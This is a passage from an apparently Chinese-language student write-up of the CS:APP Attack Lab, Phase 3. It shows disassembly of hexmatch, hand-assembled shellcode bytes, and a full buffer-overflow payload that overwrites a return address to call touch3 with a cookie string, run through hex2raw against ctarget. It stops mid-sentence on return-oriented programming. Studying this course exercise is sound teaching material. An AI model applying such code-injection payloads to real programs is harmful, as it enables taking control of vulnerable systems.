24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff callq 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff callq 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff callq 400ca0 <strncmp@plt> # 调用 strncmp 函数比较字符串
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff callq 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp # 这里相当于将 rsp减去了一个数
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 retq
int hexmatch(unsigned val, char *sval){
char cbuf[110]; //
char *s = cbuf + random() % 100; // 这句代码说明了 s 的位置是随机的 所以我们不应该把我们输入的shellcode放在hexmatch的栈帧中,应该将其放在父栈帧中,也就是test栈帧
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
和Level 2 一样touch3 也需要传入cookie 但是要求以字符串的形式传入。和Level 2的区别是touch3 的参数是cookie 的字符串地址, 寄存器%rdi 存储cookie 字符串的地址。所以我们还需要将Cookie 的内容存到指定的内存地址,字符串存到内存中都是以ASCII码形式存储的,所以需要将Cookie的值0x59b997fa 转为ASCII
Some Advice
-
在C语言中字符串是以\0 结尾,所以在字符串序列的结尾是一个字节0
-
man ascii 可以用来查看每个字符的16进制表示
-
当调用hexmatch 和strncmp 时,他们会把数据压入到栈中,有可能会覆盖getbuf 栈帧的数据,所以传进去字符串的位置必须小心谨慎。
-
对于传进去字符串的位置,如果放在getbuf 栈中,由于char *s = cbuf + random() % 100; ,s 的位置是随机的,且hexmatch 函数申请了0x80 字节的栈空间,所以之前留在getbuf 中的数据,则有可能被hexmatch 所重写,所以放在getbuf 中并不安全。为了安全起见,我们把字符串放在getbuf 的父栈帧中,放在不被getbuf 影响的栈帧中,也就是test 栈帧中。
解题思路:
-
将cookie 字符串转化为16进制 35 39 62 39 39 37 66 61 00 ,末尾是\0
-
将字符串的地址传送到%rdi 中,但是字符串地址怎么确定呢?首先可以看到getbuf 中没有执行sub rsp, 0x28 时rsp=0x5561dca0 ,我们要将字符串存储到rsp + 8 的位置,存储到父栈帧中 test的栈帧如下,就是ca8 ,可以把字符串的地址放在test的栈帧中。
-
和第二阶段一样,想要调用touch3 函数,则先将touch3 函数的地址压栈,然后调用ret 指令。
movq $0x5561dca8, %rdi ; 字符串地址 这里不能写 cookie对应的16进制表示了
pushq $4018fa ; touch3 地址
ret
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
上面三条指令的序列为 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
所以我们构造的指令字节序列为 将字符串的字节码存放在getbuf的父栈帧中 从低地址向高地址覆盖 覆盖完返回地址后 再+8填入字符串
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00 # 攻击的指令字节码
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 到这里就是 getbuf 的rsp了
78 dc 61 55 00 00 00 00 # 注入指令首地址 ret 的返回地址
35 39 62 39 39 37 66 61 00 # 攻击的指令中给出的字符串的地址为 rsp + 0x8 的位置 需要刚好在这里
最后验证结果,./hex2raw < level3_exp.txt | ./ctarget -q
Return Oriented Programming
缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。
Performing code-injection attacks on program RTARGET is much more difficult than it is for CTARGET, because it uses two techniques to t |